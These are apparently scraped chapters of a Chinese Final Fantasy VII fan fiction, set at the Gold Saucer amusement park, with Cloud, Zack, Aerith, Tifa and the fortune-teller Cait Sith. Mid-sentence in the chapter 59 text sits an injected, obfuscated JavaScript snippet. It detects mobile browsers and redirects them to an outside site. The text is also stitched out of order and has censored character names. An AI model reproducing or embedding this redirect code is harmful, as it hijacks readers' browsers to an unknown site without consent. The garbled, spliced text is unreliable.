“这个,这个嘛,库啵……” 凯特·西的小爪子紧张地揪着莫古力胸前那颗红色的绒球,额头上(如果玩偶有额头的话)仿佛渗出了不存在的冷汗。 “你算不算?” “能算!当然能算!只是…只是您这个问题,涉及的因果太过庞大,命运的丝线也太过复杂,我需要…我需要一点点时间来解读!是的!解读!” “好吧,给你三分钟。” 她的声音带着一丝施舍般的宽容。 “如果三分钟之内算不出来,或者算出来的结果不能让我满意,我就把你和你这只胖莫古力一起丢到下面的斗兽场去喂仙人掌怪。” 凯特·西的身体明显地哆嗦了一下,扩音器里传来一阵意义不明的电子杂音。 “三…三分钟!足够了!绝对足够了!” 他连忙保证,然后用一种豁出去的语气,对着胸前那只一直沉默的占卜终端大喊:“启动!命运探知程序——最高权限!” 这一次,扩音器里没有再传出那种滑稽的音效,取而代之的是一阵低沉而有些诡异的嗡鸣声。 时间一分一秒地过去。周围的喧嚣似乎都离他们远去,只有凯特·西那台占卜终端发出的嗡鸣声在空气中回荡。 她扮演的陆行鸟时不时蹦跶一下,似乎在调整头套的位置。 终于,那嗡鸣声渐渐平息,莫古力眼睛里的红光也黯淡了下去。 凯特·西长长地舒了一口气,虽然是电子合成的,但那如释重负的感觉却异常真实。 一张崭新的纸条,比之前那张更大、材质也更显高级,从莫古力玩偶胸前的一个隐蔽插槽中缓缓吐出。 凯特·西小心翼翼地用他的小爪子拈起那张纸条,清了清嗓子,用一种前所未有的郑重语气,一字一句地念道: “命运的启示如下,库啵——” 他顿了顿,卖足了关子,然后才继续: 【“因果不虚,但有一事例外”】 “……” “斗兽场见吧,小猫。” 63.第59章 缆车逐渐升高,克劳德浅青色的眸子扫过玻璃外的景色。 窗外是翻涌的、被地面城市灯光映照出驳杂色彩的云层,它们变幻着形状,无声地向后退去,仿佛时光也在这浓稠的夜色中一同流逝。 爱丽丝坐在座位上,正在与蒂法悄声的说着话,棕发少女有些凝重的皱着眉。 巴|雷特的神情是肉眼可见的压抑,甚至有些恍惚,他低着头,盯着赤红十三一晃一晃的尾巴,好似在发呆。 尤菲在角落数着他们刚缴获的魔晶石,简直要把头埋进袋子里,时不时发出一阵笑声。 扎克斯坐在克劳德对面,双手抱在脑后,姿态轻松,与缆车内略显压抑的气氛格格不入。 他换上了一套普通的深色夹克和长裤,那把巨大的破坏剑用厚布包裹着,安静地立在他座位旁。 “嘿,克劳德,感觉怎么样?” 扎克斯的声音打破了车厢内的寂静。 “还好。” 他垂下眼睑,避免与扎克斯过于直接的目光接触。 一旁的爱丽丝与蒂法结束了谈话,抬起头,将视线转移到那浮空的,越来越近的霓虹建筑上。 五光十色的灯光刺破浓稠的夜色,将翻滚的云层也染上了斑斓陆离的色彩,那些光怪陆离的建筑轮廓在视野中不断放大,带着一种不真实的、喧嚣的压迫感。 “哇——金蝶游乐园,真是壮观。” “是啊是啊!简直就像神话里的天空之城!” 扎克斯立刻附和道,他伸出手臂,比划着。 “我们到了之后,一定要先去那个传说中的陆行鸟广场!听说那里的陆行鸟比赛超级刺激,还有机会赢到限定版的金色陆行鸟玩偶呢!” 他兴致勃勃地看向克劳德:“怎么样,克劳德?要不要一起去试试手气?说不定你这家伙运气爆棚,直接抱个大家伙回来呢!” “……我对赌博没什么兴趣。” “呃——那玩点别的,还有很多别的有趣的东西呢。” 扎克斯托腮,做思索状。 “对啊,对啊……可以先去幽灵鬼屋探险,听说里面的幽灵都是真人扮演的,超级逼真!” 爱丽丝从椅子上往前稍稍倾身,目光在克劳德紧绷的侧脸上停留片刻,然后才转向窗外那片辉煌的灯火。 “没错没错!”扎克斯打了个响指,“还有那个超大的摩天轮,从最高点可以看到整个科雷尔沙漠的夜景!一定很漂亮!” 他挤了挤眼睛。 “说不定还能遇到什么美丽的邂逅呢?” 蒂法一直安静地坐在克劳德身边,她听着扎克斯和爱丽丝你一言我一语地描绘着金蝶的乐趣,手指却不自觉地绞紧了衣角。 “克劳德,你还好吗?是不是有点晕车?”她柔声问道,“要不要喝点水?我这里有。” “……我没事。” 缆车平稳运行的微弱嗡鸣,以及钢索摩擦滑轮的“吱嘎”声,像催眠曲一样在耳边重复。 他能感觉到身边蒂法小心翼翼投来的目光,带着担忧和一丝不知所措。扎克斯和爱丽丝的声音像是从很远的地方传来,模糊而不真切。 金蝶游乐园那巨大的、如同海市蜃楼般的轮廓已经近在咫尺。 无数闪烁的灯光如同流动的星河,将夜空映照得一片通明。空气中似乎都弥漫着一股甜腻的、属于狂欢的气息。 咔哒。 缆车到站。 厚重的舱门缓缓向两侧滑开,一股混杂着爆米花、消毒水气味以及鼎沸人声的热浪瞬间裹挟了整个车厢。克劳德下意识地皱了皱眉,那股过于喧嚣和甜腻的气息让他有些不适。 “哇哦——!终于到了!金蝶游乐园!” 扎克斯第一个跳下缆车,接着回过头,替伙伴们从人群里清出一块下车的位置。 爱丽丝和蒂法相视一笑,也跟着下了车。 她好奇地打量着四周那些奇形怪状的建筑和川流不息的人群,绿色的眼眸里闪烁着新奇的光芒:“这里可真热闹,比米德加的节日庆典还要盛大呢。” 蒂法伸手拢了拢被风吹乱的黑发,目光落在远处一座高耸入云、灯火辉煌的塔状建筑上:“那就是金蝶酒店吗?看起来好壮观。” □□也嘟囔着下了车,他揉了揉因为长时间保持一个姿势而有些僵硬的脖子,环顾四周,脸上的阴郁似乎被这片刻的喧嚣冲淡了些许:“哼,神罗那帮吸血鬼,倒是会享受。” 赤红十三跟在他身后,甩了甩尾巴,琥珀色的眼睛警惕地扫视着周围。 尤菲最后一个蹦下车,她怀里紧紧抱着那个装满魔晶石的袋子,仿佛那是全世界最珍贵的宝藏。 “太棒啦!这么多好玩的地方!等我把魔晶石卖个好价钱,一定要把这里的游戏都玩个遍!” 她一边说,一边已经开始盘算着自己的“金蝶游乐园攻略计划”。 克劳德默不作声地跟在众人身后,他的视线漫无目的地扫过那些兴高采烈的人群。 每个人脸上都带着笑容,孩子们的嬉笑声、情侣间的低语、朋友间的打闹声—— 他向来不善于应对热闹的环节。 “喂,克劳德,发什么呆呢?” 扎克斯不知何时又凑了过来,用胳膊肘轻轻撞了撞他的手臂。 “我没有不开心。” “是是是,你最酷了。” 扎克斯笑了笑,然后揽住克劳德的肩膀,强行把他往前推。 “走啦走啦!别杵在这里当门神!我们先去哪里好呢?嗯——有了!” 他打了个响指,指向不远处一个巨大的圆形广场,“我们去幽灵广场怎么样?听说那里的鬼屋超级刺激,保证让你‘精神百倍’!” “我对吓唬人的东西没兴趣。” 克劳德试图挣开扎克斯的手,但对方的力气出奇地大。 “别这么说嘛,克劳德,”爱丽丝微笑着走过来,眨了眨眼,“偶尔体验一下不同的乐趣也不错啊。而且,如果真的害怕,我们会保护你的。” 一行人穿过喧闹的人群,朝着指示牌上标明的“幽灵广场”走去。 越往里走,周围的灯光就越发昏暗,空气中也弥漫起一股若有若无的、混合着尘土和霉味的阴冷气息。背景音乐也从欢快的舞曲变成了低沉诡异的管风琴声,间或夹杂着几声凄厉的尖叫和锁链拖动的声音。 幽灵广场的入口处,是一个巨大的、张着血盆大口的恶魔头颅造型,黑洞洞的口腔就是通往鬼屋的通道。 几个穿着破烂哥特服装、脸色惨白的工作人员,正用夸张的姿势和语调招揽着游客。 “嘿,各位勇敢的冒险者!准备好迎接一场前所未有的惊悚体验了吗?” 一个化着浓重黑眼圈、嘴唇涂得血红的“吸血鬼”工作人员,用他那尖细得如同指甲划过玻璃的声音说道。 “我们金蝶鬼屋,保证让你们吓得魂飞魄散,永生难忘!” 他露出一对尖利的塑料假牙,发出一阵阴恻恻的笑声。 克劳德连眉毛都没皱一下。 此时,在他身侧,有一个小女孩好像是被吓到了,本能的后退一步,不小心撞到了他。 “啊……” “……” 在与那对浅青色眸子对视的一瞬间,孩子就瞪大了眼睛,指着他。 “陆……陆行鸟!” 她的小手指直直地指向克劳德那标志性的金色发型,带着稚气的童音清晰地在略显阴森的广场入口回荡。 “陆行鸟!是一个好大的陆行鸟!” 克劳德的身体几不可察地僵硬了一下,他那双因魔晄而呈现出浅青色的眼眸微微垂下。 他没有去看那个小女孩,也没有理会周围瞬间投来的各色目光,只是默默地调整了一下背负符文剑的姿势。 “噗——” 爱丽丝站在克劳德身后不远处,她用手掩着嘴,肩膀微微耸动,显然是没能完全忍住笑意。 扎克斯反应最快,他走上前几步,弯下腰,用他那特有的、阳光般灿烂的笑容对着小女孩说道:“小妹妹,你眼光真好!这可不是普通的陆行鸟哦,这是我们队伍里最酷的陆行鸟剑士!” 他一边说,一边还煞有介事地拍了拍克劳德的肩膀。 “陆行鸟剑士?”小女孩眨巴着大眼睛,好奇地打量着克劳德,又看看扎克斯,“那他会‘啾啾’叫吗?他会带我飞吗?” “这个嘛,”扎克斯摸了摸下巴,故作神秘地说道,“那就要看他的心情了!不过,他打起架来可是超级厉害的!比一百只普通的陆行鸟加起来还要厉害!” “哇!” 小女孩的眼睛更亮了,她看向克劳德的眼神里充满了崇拜。 尤菲从旁边凑了过来,她踮着脚尖,试图越过扎克斯的肩膀去看那个小女孩,眼睛里闪烁着精明的光芒。 “小妹妹,你有没有亮晶晶的石头呀?用亮晶晶的石头,说不定就能让陆行鸟剑士带你飞哦!” 她晃了晃自己腰间的魔晶石袋子,发出叮叮当当的清脆声响。 克劳德的眉头几不可见地蹙了一下,他似乎想说些什么,但最终只是从牙缝里挤出几个含混不清的音节: “我不是……什么陆行鸟……” 那声音轻得几乎听不见,很快就被周遭的喧嚣盖了过去。 “陆行鸟剑士……认识邪恶陆行鸟吗?它抢了我的棉花糖!” “……” 扎克斯有些绷不住了。 “噗哈哈哈,邪、邪恶陆行鸟?棉花糖?天啊,这都是什么跟什么啊!” 小女孩语气认真。 “邪恶陆行鸟有着黑色的魔法帽子,但它可坏了,一下子就把我的棉花糖抢走了!陆行鸟剑士,你一定要帮我教训它!” 说完,她期盼地看着克劳德,小小的拳头紧紧握着。 克劳德身体的僵硬感愈发明显。 终于,广场前排到的队伍轮到了他们,原先在最后的克劳德第一个,甚至是有些落荒而逃的走了进去。 蒂法抿着唇压住笑意,她走到那个还眼巴巴望着鬼屋入口的小女孩身边,温柔地蹲下身子: “小妹妹别担心,陆行鸟剑士是很厉害的英雄,他一定会帮你抓住那个邪恶陆行鸟的。” 小女孩用力地点点头,眼神里充满了信任:“嗯!陆行鸟剑士一定可以!” 爱丽丝站在一旁,看着蒂法和小女孩的互动,她轻轻拍了拍小女孩的肩膀:“没错,他很可靠的。不过,那个邪恶陆行鸟,听起来也很有趣呢。戴着黑色的魔法帽子,还会抢棉花糖。” 尤菲眼睛骨碌碌一转,立刻抓住了重点,她兴冲冲地凑到小女孩面前,几乎要和爱丽丝挤在一起:“魔法帽子!小妹妹,那个魔法帽子是不是很值钱啊?它是什么样子的?上面有没有镶嵌魔晶石?” 小女孩被尤菲一连串的问题问得有些发懵,她努力回忆着:“帽子,就是黑色的,软软的,还会发绿光!它,它还会动!”她一边说,一边用小手比划着。 “发绿光还会动?!” 尤菲的眼睛更亮了,呼吸都有些急促。 “那一定是稀有的魔法材料制成的!小妹妹,那个邪恶陆行鸟往哪个方向跑了?你知道它在哪里吗?” 巴|雷特在一旁听着,粗重的眉毛拧了拧,低声哼道:“什么魔法帽子,我看就是个普通的玩具。小孩子的想象力可真丰富。” 扎克斯看到尤菲那副财迷心窍的样子,摇了摇头,他拉了拉尤菲的胳膊:“好了好了,尤菲,别吓到小妹妹了。” “我们还是先进去看看吧,说不定那个‘邪恶陆行鸟’就在鬼屋里面藏着呢!” 尤菲被扎克斯拉着,嘴里还在嘀咕:“魔法帽子啊,发光的帽子……错过了这个村可就没这个店了……”但脚步还是不由自主地跟着大部队移动。 小女孩最终还是没有跟着进去,她向众人挥了挥手,大声喊道:“陆行鸟剑士加油!姐姐们加油!大家加油!” 扎克斯回头朝她比了个大拇指,然后往前跑,揽着克劳德的肩膀,与众人一齐迈进了那片未知的黑暗。 --- 克劳德是第一个出来的。 鬼屋内部的空气沉闷而混浊,充斥着干冰的甜腻气味和不知名香料的刺鼻芬芳。 相比之下,外面游乐园喧嚣的夜风,虽然也带着各种食物的复杂香气,却让他紧绷的神经舒缓了不少。 他不喜欢那种刻意营造的恐怖,更不喜欢被封闭在狭小空间的感觉。 呼出一口气,胸腔中那股压抑的感觉随之消散了一些。 金色的发丝被出口处的强风吹得有些凌乱,克劳德下意识地抬手理了理。符文剑沉重的分量压在背上,这熟悉的触感反倒让他安心。 鬼屋的出口连接着一条相对僻静些的走廊,通往更广阔的广场。 此刻,出口附近也挤满了刚刚结束“冒险”的人们。 他们大多三五成群,脸上带着劫后余生般的兴奋,或者仍在回味刚才的“惊吓”,叽叽喳喳地讨论着。 孩子们的尖叫声和成年人的大笑声混杂在一起,形成一片欢乐的噪音背景板。 克劳德对这些喧闹充耳不闻。 他走到旁边一条略显空荡的长椅旁,安静地坐了下来。长椅冰凉的触感透过衣物传递过来,让纷乱的思绪沉淀了些许。 将符文剑从背后卸下,小心地立在长椅旁边,他垂下眼睑,视线落在地面那些被霓虹灯光切割得支离破碎的影子上。 “陆行鸟剑士。” 她也喜欢叫他……这个称呼。 不过,他不是什么陆行鸟。 他只是克劳德·斯特莱夫,一个普通的万能帮手,一个……无能的、迷失了方向的人。 他不喜欢被那么多人注视,也不喜欢成为议论的焦点。 在刚才的鬼屋里,虽然光线昏暗,但他依旧能感觉到那些若有若无投向他的目光。那些同伴们,他们似乎总能轻易融入各种环境,而他却像个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556032|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异类,格格不入。 他抬头看向鬼屋出口的方向,等待着扎克斯他们出来。 扎克斯那家伙,肯定又在里面玩疯了。爱丽丝和蒂法,她们大概会被那些扮鬼的工作人员吓到吧? 巴|雷特大概会一路抱怨,赤红十三估计会对里面各种奇怪的妆造感兴趣,尤菲则可能在搜刮什么“战利品”。 靠在长椅上,克劳德微微偏过头。 甜腻的微风拂过,从他身侧的巷子里,忽地蹦出一个巨大的陆行鸟玩偶。 他浅青色的眸子与陆行鸟玩偶头套上黑色的塑料眼睛相对。 时间在这一刻仿佛被按下了缓慢键,周围喧嚣的人声、鼎沸的音乐、食物的香气,都如同潮水般向后退去,只剩下他和眼前这只奇怪的陆行鸟。 “……” 沉默。 甚至是安静的。 “……啾?” 过了会,陆行鸟玩偶歪了歪它那巨大的脑袋,发出了一声短促而含糊的、模仿陆行鸟的叫声。 那声音闷闷的,像是从厚重的玩偶服里艰难地挤出来一样。 这只陆行鸟玩偶,比之前在入口遇到的那些要更“精致”一些,或者说,更“臃肿”一些。 它的黄色绒毛看起来很新,也很蓬松,圆滚滚的身体套在一个未知的人身上,显得有些滑稽。 巷子里的光线比广场上要暗淡许多,这只陆行鸟玩偶几乎是突兀地从阴影中“跳”出来的。 真正的陆行鸟,它们胆小,迅捷,羽毛带着阳光的气息。 而眼前这个,只是一个笨拙的、被填充起来的空壳。 克劳德也不知道他为什么要盯着这个金蝶的工作人员看,或许只是单纯的在发呆吧。 “啾?……啾?” 克劳德的视线从它那挥动的“翅膀”移到它圆滚滚的肚子上。 他想起了在米德加,她收藏的那些奇怪的周边玩偶,肚子被塞满了棉花,捏起来软绵绵的。 还有……她喜欢戳那些软绵绵的东西。 最终,克劳德移开了视线,看向自己放在腿上的手。手指无意识地蜷缩了一下。 “我不用拿地图,谢谢。” 他低声说道,声音很轻。 陆行鸟闻言,麻利的蹦跶走了,它的速度比起其他的工作人员都快了不少。 克劳德安静的盯着地面。 “……咳咳。” 刻意的咳嗽声,却压的很低,仿佛是怕惊扰什么。 他抬起头。 陆行鸟胖乎乎的“翅膀”上捏着一包酸角干,包装简单,看起来像是那种炸鸡店免费赠送的小零食。 但克劳德却一眼就认了出来。 是曾经的,尼布尔海姆产的手作小零食。 他愣了愣。 最终,克劳德伸出手,从陆行鸟玩偶的“翅膀”上接过了那包酸角干。 牛皮纸的粗糙触感和里面酸角干的坚硬形状,都真实得让他心头发慌。 “为什么给我这个?” 陆行鸟玩偶没有回答。 它就像是一个普通的,分发零食的工作人员——庞大的身体灵巧地一转,蹦蹦跳跳地,再次消失在了巷子深处的阴影里。 克劳德一个人坐在长椅上,手中紧紧攥着那包酸角干。 他低头,看着包装上熟悉的字迹。那是尼布尔海姆杂货店老板娘特有的,歪歪扭扭的花体字。 每一个细节,都清晰得如同昨日。 “哇哈哈哈!吓死我了!刚才那个吊着的骷髅头差点砸到我的鼻子!” 扎克斯的大嗓门第一个响了起来,充满了劫后余生的兴奋。 紧接着是爱丽丝带着笑意的声音:“扎克斯,明明是你自己撞上去的好不好?还把人家骷髅的牙齿都给碰掉了一颗呢!” “嘿嘿,那不是因为它太逼真了嘛!” 扎克斯毫不在意地笑着,大步流星地走了出来,一眼就看到了坐在长椅上的克劳德,还有他手上的酸角干。 “哟,克劳德!你这么快就出来了?我还以为你会在里面迷路呢!咦?这是什么零食,工作人员给你发的吗?” “嗯,”克劳德含糊地应了一声,视线从酸角干上移开,看向走过来的扎克斯,又迅速垂下,“一个工作人员给的。” 他并没有抬头去看扎克斯的表情,只是将那包零食往自己身边挪了挪。 “工作人员?”爱丽丝也走了过来,她的声音轻快,“金蝶的工作人员这么好心呀,还会主动派发零食呢?我刚刚没有遇到啊。” 她好奇地歪着头,看着克劳德手中的纸包,“是什么好吃的?看起来很有特色呢。” 蒂法跟在爱丽丝身后,她的目光也落在了那包酸角干上,眼神中掠过一丝复杂的情绪。 她认得那种包装,那是家乡特有的东西。 她的声音比平时低沉了一些:“这种包装,是尼布尔海姆的吧?好久没见过了。” 听到“尼布尔海姆”这个词,克劳德的肩膀几不可察地绷紧了一下。 他没有说话,只是将头埋得更低了些。 “尼布尔海姆产的?”扎克斯凑近了些,伸手想拿过来看,但看到克劳德那副护食的样子,又讪讪地收回了手,“真的假的?金蝶游乐园里还有卖这个的?” 他挠了挠后脑勺。 “哪个工作人员给你的啊,克劳德?穿着什么样的制服?” “就是一个陆行鸟玩偶。” “陆行鸟玩偶?” 尤菲一听到有“免费”的东西,立刻来了精神,她挤到前面,眼睛亮晶晶地盯着克劳德。 “是那种穿着黄色大鸟衣服的吗?它还给了你什么好东西没有?它在哪里?我也要去领一份!” 她搓着手,一副跃跃欲试的样子。 巴|雷特哼了一声,抱起双臂,语气带着些不以为然:“切,一包破零食而已,值得这么大惊小怪吗?说不定就是哪个新来的员工,随便从哪里弄来的过期产品,拿来糊弄你们这些小年轻的。” 他顿了顿,又嘟囔了一句,“不过,尼布尔海姆那地方,倒是很久没听人提起了。” 赤红十三蹲坐在□□脚边,甩了甩尾巴,琥珀色的眼睛打量着克劳德手中的纸包,鼻翼微微翕动着,似乎在分辨那上面残留的气味。 “陆行鸟玩偶啊,”爱丽丝若有所思地重复了一遍,她转向扎克斯,眨了眨眼,“扎克斯,你还记不记得刚才那个小女孩说的‘邪恶陆行鸟’?它也是穿着玩偶服,还戴着黑色的帽子呢。” “对哦!”扎克斯一拍大腿,“那个抢棉花糖的家伙!克劳德,你遇到的那个陆行鸟玩偶,是不是也戴着帽子?是不是黑色的?” “……没有帽子,就是一个普通的陆行鸟玩偶。” 不知道为什么,克劳德不想再继续这个话题了。 他将酸角干小心翼翼地收进了风衣内侧的口袋里,那个位置紧贴心脏,仿佛这样就能留住那一点点来自过去的温度。 64.第60章 “WONDER SQUARE”(神奇广场) 临近夜幕,金蝶的光芒也就越加灿烂。 从远处,能够看到那巨大的摩天轮正在运作,排队的人群中人头耸动。 就在这时,一阵略显慌乱的“噗叽噗叽”声由远及近。 一只骑着白色莫古力玩偶的黑色猫咪玩偶,以一种摇摇晃晃的姿态冲了过来。 它那身黑色的毛绒外套上沾了不少灰尘,甚至还有几根干枯的仙人掌刺挂在上面,头顶的猫咪披风也歪到了一边,看起来刚经历了一场不大不小的“事故”。 莫古力玩偶在离众人几步远的地方一个急刹车,险些把背上的黑猫甩下来。 “库啵!”莫古力玩偶发出一声含糊的叫声。 那只黑色猫咪玩偶扶了扶头顶歪掉的扩音器,用一种刻意装出来的、充满活力的语调大声说道:“哎呀呀,各位看起来有些无精打采的嘛!是刚从哪个无聊的地方出来吗?比如说,那种黑漆漆、到处都是假幽灵的破屋子?” 扎克斯扬了扬眉毛,觉得这只猫挺有意思:“哦?你怎么知道我们刚从鬼屋出来?” “哼哼,这当然瞒不过本先知,凯特·西大人的慧眼!” 黑猫得意地挺了挺它那并不存在的胸膛,莫古力玩偶也跟着晃了晃。 “看你们一个个垂头丧气的样子,就知道肯定是被那些无聊的把戏给吓到了!真是没劲!” 巴|雷特皱起眉头。 “你说谁垂头丧气了,你这只脏兮兮的破猫!” “哎呀,这位大叔火气不要这么大嘛!”凯特·西摆了摆它那短短的爪子,“本大人只是实话实说而已。不过呢,看在你们这么可怜的份上,本先知决定给你们一个改变命运的机会!” 它清了清嗓子,用一种更加神秘莫测的语调宣布:“要不要本先知,凯特·西大人,为你们占卜一下未来呀?算出一个光明的未来,幸福的未来!” 它特意加重了“光明”和“幸福”这两个词。 尤菲一听“占卜”两个字,眼睛立刻亮了起来,她挤到最前面,好奇地打量着凯特·西:“占卜?真的假的?要钱吗?能算出我什么时候能发大财吗?或者哪里有稀有的魔晶石?” 凯特·西被尤菲一连串的问题问得有些招架不住,它骑着的莫古力玩偶也往后退了半步。 “咳咳,这位小姑娘,问题不要这么多嘛!” 凯特·西试图维持它的“先知”风范。 “本大人的占卜可是很灵验的!至于钱嘛——”它顿了顿,用爪子摸了摸下巴,做思考状,“看你们这么有缘,就特别优惠,只收一点点辛苦费好了!比如说,一百Gil一位?” “一百Gil?!”尤菲立刻叫了起来,“你怎么不去抢啊!太贵了!” “哎呀,一百Gil就能预知未来,趋吉避凶,这可是稳赚不赔的买卖啊!”凯特·西振振有词地反驳,“而且,我还能附赠一些关于爱情和友情的建议呢!” 爱丽丝对“未来”这个词似乎很感兴趣,她微笑着问道:“凯特·西先生,你的占卜,真的能看到未来吗?无论怎样的未来都可以吗?” 凯特·西听到爱丽丝的问题,猫脸上露出了一个夸张的笑容,扩音器里的声音也变得更加得意:“那是当然!本大人可是金蝶游乐园最著名的占卜师!” “无论是过去、现在,还是遥远的未来,都逃不过我的水晶球!” 它说着,还拍了拍莫古力玩偶圆滚滚的脑袋,仿佛那里藏着什么神奇的道具。 “不过嘛,”凯特·西话锋一转,语气又变得有些不确定起来,它压低了声音,对众人补充道。 “万一,我是说万一啊,算到什么悲惨的未来,或者是不想听到的事情,你们可千万别怪我啊!毕竟,命运这种东西,有时候是很残酷的嘛,库啵!” “并且,尤其不可以攻击占卜师大人我!” 蒂法看着眼前这只古怪的黑猫,脸上露出了思考的神情,她轻声对旁边的克劳德说道:“这个凯特·西,看起来不太靠谱的样子呢。克劳德,你怎么看?” 克劳德的视线从那只狼狈的莫古力玩偶移到凯特·西脸上,他没什么表情地回答:“骗人的。” 那只骑在白色莫古力玩偶上的黑色猫咪玩偶——凯特·西,听到这三个字,头顶的扩音器发出了一声短促的电流噪音,它那原本得意洋洋的姿态也垮塌了不少。 “喂喂喂!这位小哥,话可不能乱说啊!” 凯特·西立刻反驳,声音透过扩音器显得有些尖锐,“本大人可是金蝶游乐园认证的首席占卜师!拥有无数回头客和好评!怎么可能是骗人的呢!” “可恶,那我给你们免费算一卦吧!” “ ……你知道萨菲罗斯和她在哪吗?” 凯特·西头顶的扩音器发出一阵轻微的“滋滋”电流声,那双圆溜溜的黄色塑料眼睛眨了眨,骑着的莫古力玩偶也配合着它摇晃了一下,仿佛是没听清克劳德的问题。 “哎呀呀,这位小哥,你这个问题可真是——”凯特·西拖长了语调,那滑稽的猫脸上露出了一个夸张的、意味深长的表情,“真是直击灵魂啊!库啵!” 它用爪子敲了敲自己头上的猫耳,然后又拍了拍莫古力玩偶的脑袋。 “萨菲罗斯,还有‘她’,嗯——让本先知好好算一算,这可是一个大大的谜团呢!” 黑猫拍了拍莫古力,接着,开始摇晃身体,过了一会,一张纸条掉了出来。 克劳德捡起。 “……中吉,不过运势很活跃。” “接受他人的善意。” “夏天后会有大事发生……” “这都什么乱七八糟的?” 克劳德微微皱眉。 与其说是预言,不如说是一些不着边际的箴言警句。 “啊!等等,我再试一次!” 莫古力的身体再次摇晃起来。 它那圆滚滚的身体像是装了一个强力马达,左右摆动的幅度之大,让人担心上面的黑猫玩偶随时会被甩飞出去。 “噗叽噗叽噗叽!”的声音也变得更加急促和响亮。 终于,在一次剧烈的摇摆后,又一张小小的纸条从莫古力玩偶头顶那个绒球里“噗”地一声掉了出来,轻飘飘地落在地上。 克劳德捡起。 “不要健忘,否则可能会有麻烦。” “你的幸运颜色是……蓝色?” “……算了吧。” “等等!再给我一次机会!” 它深吸一口气,然后对着莫古力玩偶的脑袋大声喊道:“莫古力!究极占卜模式,启动!” “噗叽——!” 莫古力玩偶发出一声亢奋的回应,整个身体开始以前所未有的高速旋转起来,像一个失控的陀螺。 黑色的猫咪玩偶紧紧抓着莫古力的耳朵,随着它一起天旋地转。 “哇啊啊啊——慢、慢一点啊莫古力!本大人要晕过去了库啵!” 扩音器里传出凯特·西夹杂着惊恐的尖叫。 众人目瞪口呆地看着这堪比游乐设施的“占卜仪式”。 终于,在旋转了足足半分钟后,莫古力玩偶猛地停了下来。 头顶的绒球像是被什么东西弹了一下,“嗖”地一声,一张纸条飞了出来,在空中划过一道弧线,然后轻飘飘地落向克劳德。 克劳德下意识地伸手接住。 “……这是什么意思?” 【“得汝所顾,失汝所爱。”】 凯特·西歪着它那毛茸茸的黑色猫头,扩音器里传出的声音也带着一丝真实的困惑:“这可真是奇了怪了,库啵。这种签文,我也是头一回抽到。让本先知好好想想,这到底是什么意思呢?” 它用爪子挠了挠头顶的扩音器,又拍了拍身下莫古力玩偶的脑袋,仿佛想从那圆滚滚的身体里榨出点灵感来。 “不过——好啦,我们现在去哪?” “你说什么?” “作为一个算命家,这个结果让我很受打击——要是不把这个事情搞清楚,我永远都不会安心的。所以,请让我跟你们一起走!” 爱丽丝抿了抿唇,碧绿的眼眸中流转着思索的光芒,她轻声开口: “凯特·西先生,你的心情我能理解。但是,我们接下来的行程可能会有些危险,带着你,恐怕不太方便,而且——” “危险?哎呀,这位美丽的小姐,你太小看我凯特·西大人了!” 凯特·西打断了爱丽丝的话,它拍了拍莫古力玩偶的背,语气夸张。 “别看我这副可爱的样子,我可是很能派上用场的!比如说,我可以给你们指路,虽然有时候可能会指错那么一点点。我还能给你们讲笑话,活跃气氛!让你们在紧张的冒险旅途中也能保持愉快的心情,库啵!” 扎克斯摸着下巴,他看看凯特·西,又看看克劳德,脸上露出了感兴趣的表情:“指路?讲笑话?听起来好像还不错嘛!克劳德,你觉得呢?多个伴儿,路上说不定能热闹点?”他朝克劳德挤了挤眼睛。 克劳德依旧没什么表情,只是淡淡地瞥了一眼那只上蹿下跳的黑猫玩偶,声音平平板板地回答。 “随便。” 扎克斯拍了拍凯特·西的莫古力玩偶脑袋,笑着说:“好了好了,既然大家都没意见,那从现在开始,你就是我们队伍的新成员了!欢迎加入,凯特·西!” 他伸出手,做了个“请”的姿势。 “那么,凯特·西大占卜师,接下来我们该往哪里走呢?要不要给我们占卜一下,哪里能找到关于萨菲罗斯和……嗯,她的线索?” 凯特·西一听扎克斯改口称呼它“大占卜师”,立刻得意地扬起了猫头,它骑着莫古力玩偶在原地转了个圈,扩音器里的声音也变得更加自信和响亮。 “那是当然!就包在本大人身上了!让我想想,萨菲罗斯,还有那位神秘的‘她’,他们身上都带着强大的、与众不同的气息。” “这种气息,就像是黑夜里的灯塔,只要用心去感受,一定能找到蛛丝马迹!” 它煞有介事地闭上眼睛,歪着脑袋,仿佛在聆听着什么。 莫古力玩偶也配合着它,一动不动。 过了片刻,凯特·西猛地睁开眼睛,爪子指向广场的一个方向:“有了!库啵!我感觉到,在那个方向,似乎有一些不同寻常的能量波动!虽然很微弱,但绝对不是普通人能发出来的!” “哪个方向?” 爱丽丝顺着凯特·西指的方向望去,那边是通往金蝶游乐园更深处的区域,灯火更加辉煌,但也更加喧闹复杂。 “就是那边!通往‘对战广场’和‘陆行鸟广场’的方向!” 凯特·西肯定地说道。 “虽然本大人的占卜有时候会出现一点点小小的偏差,但这次的感觉,非常强烈!绝对不会错的!” 蒂法看向克劳德,轻声问道:“克劳德,我们要去看看吗?” “……走吧。” --- “CHOCOCBO SQUARE”(陆行鸟广场) 震耳欲聋的欢呼声如同海啸般扑面而来,几乎要将人的耳膜掀翻。 巨大的圆形广场中央,是一条铺着柔软黄沙的宽阔赛道,几只羽毛鲜亮、体格健壮的陆行鸟正昂首阔步地在起跑线后踱步,它们的骑手穿着颜色各异的比赛服,紧张地调整着缰绳和鞍具。 赛道周围是层层叠叠的观众席,此刻早已座无虚席,兴奋的人们挥舞着手中的小旗子和应援牌,为自己支持的陆行鸟呐喊助威。 广场上方悬挂着巨大的魔法屏幕,实时转播着赛道上的情况,以及各种陆行鸟比赛的宣传片,激昂的音乐和解说员富有感染力的声音响彻整个广场。 “哇——!这里可真是热闹非凡啊!” 扎克斯仰头看着那巨大的魔法屏幕,眼睛里闪烁着兴奋的光芒,他扯了扯克劳德的胳膊,声音比平时拔高了不少,试图盖过周围的喧嚣。 “克劳德你看你看!那只金色的陆行鸟!跑得好快!简直就像一道闪电!” 